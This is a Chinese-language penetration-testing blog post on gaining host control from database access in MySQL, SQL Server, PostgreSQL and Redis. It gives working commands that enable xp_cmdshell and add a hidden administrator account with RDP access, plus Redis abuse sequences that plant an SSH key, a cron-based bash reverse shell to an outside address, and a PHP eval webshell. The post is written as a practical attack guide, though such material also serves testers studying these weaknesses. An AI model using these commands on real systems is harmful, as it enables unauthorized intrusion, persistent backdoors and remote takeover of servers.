滲透過程中的資料庫提權思路
在滲透測試中,我們可能誤打誤撞得到了幾個粗心管理員的資料庫密碼,當我們一臉欣喜的連線上後,卻發現庫子裡一清二白,或者找不到跟web專案的對應關係,那就只能從資料庫層面入手,一步步奪取目標主機許可權。
下面總結了一下幾種常見資料庫的提權思路。
mysql
作為目前使用人數最多也是最受歡迎的資料庫,在大型的滲透測試中,很有可能就被掃出一兩個弱密碼,但時代早就變了,mysql早已已經不是那個寫個webshell就直接root的傻白甜了,secure-file-priv直接將無數hacker阻於門外,雖然現在網上還有許多UDF和mof的提權方法,但後者適用範圍極其嚴苛:
- windows2003server之前版本
- 可寫入c:/windows/system32/wbem/mof許可權
- secure-file-priv引數不為null
並且就算寫入成功後也有種種可能連線不上,所以建議先寫個ping指令碼測一測,具體poc會放在下一篇部落格。
UDF版本的也沒好到哪去,還是secure-file-priv的鍋,大部分資料庫都沒有寫入外掛路徑的許可權。
現在來看最靠譜的可能是寫日誌獲取web shell,當然限制也很多:
- 目標站點搭載web應用
- 具有對網站根目錄寫入的許可權
總結來說就是一句話:mysql提權,看命(5.7版本以前的除外)
sqlserver
作為同樣受歡迎的老牌資料庫,mssql明顯友好的多,利用xp_cmdshell可以解決絕大部分資料庫,具體命令如下:
#開啟xp_cmdshell exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure; #關閉xp_cmdshell exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure #新增使用者 exec master..xp_cmdshell 'net user test test. /add' 新增使用者test,密碼test exec master..xp_cmdshell 'net localgroup administrators test add' 新增test使用者到管理員組 #開啟rdp埠 exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
一把梭,沒什麼好說的
postgresql
這也是我之前一直忽視的一個數據庫,最近才發現postgres提權格外好用,基本通殺全版本,再加上它優良的弱密碼傳統,如果不是postgres組使用者許可權太低,postgresql絕對能排資料庫組第一,不過滲透中利用它讀讀目標上的敏感資料啥的也是極好的。
同樣UDF提權,失敗可能性很小,就是需要注意分位元組傳輸,具體指令碼同樣放在之後的部落格裡。
redis
上古遺留問題,現在利用可能性不是很大,很少會有root許可權下開放的redis了,拿到後還是先找web的根目錄最要緊。
利用方式如下:(前提是redis存在未授權訪問或已知redis密碼)
- 寫入ssh公鑰(需root許可權)
#將公鑰寫入key.txt檔案中(前後用\n換行,避免和redis裡其他快取資料混合) (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt #再將key.txt檔案內容寫入redis庫中 cat /root/.ssh/key.txt | redis-cli -h *ip* -x set pub #設定redis的dump檔案路徑為/root/.ssh且檔名為authorized_keys,注意: redis 可以建立檔案但無法建立目錄,所以,redis 待寫入檔案所在的目錄必須事先存在。出現如下圖錯誤是因為目標靶機不存在.ssh目錄(預設沒有,需要生成公、私鑰或者建立ssh連線時才會生成) config set dir /root/.ssh ok config set dbfilename authorized_keys ok #測試免密登入 ssh -i /root/.ssh/id_isa ip
- 利用cron計劃任務執行命令反彈shell(需root許可權)
root@kali:~# redis-cli -h 192.168.10.128 192.168.10.128:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.101/6666 0>&1\n" OK 192.168.10.128:6379> config set dir /var/spool/cron/ OK 192.168.10.128:6379> config set dbfilename root OK 192.168.10.128:6379> save OK
- 寫入webshell(需要知道web應用的絕對路徑)
root@kali:~# redis-cli -h 192.168.10.128
192.168.10.128:6379> set x “<?php @eval($_GET("passer"))>”
OK
192.168.10.128:6379> config set dir /var/www/html/
OK
192.168.10.128:6379> config set dbfilename test.php
OK
192.168.10.128:6379> save
OK
之後即可在網站url根目錄後新增test.php連線。
總結:redis提權也是一件費力不討好的事,利用難度較大,可結合ssrf針對性利用。
持續更新中,主要以我滲透過程中遇到的資料庫為主,總結一下實戰經驗,memecache之類的,以後實戰中遇到後會進行新增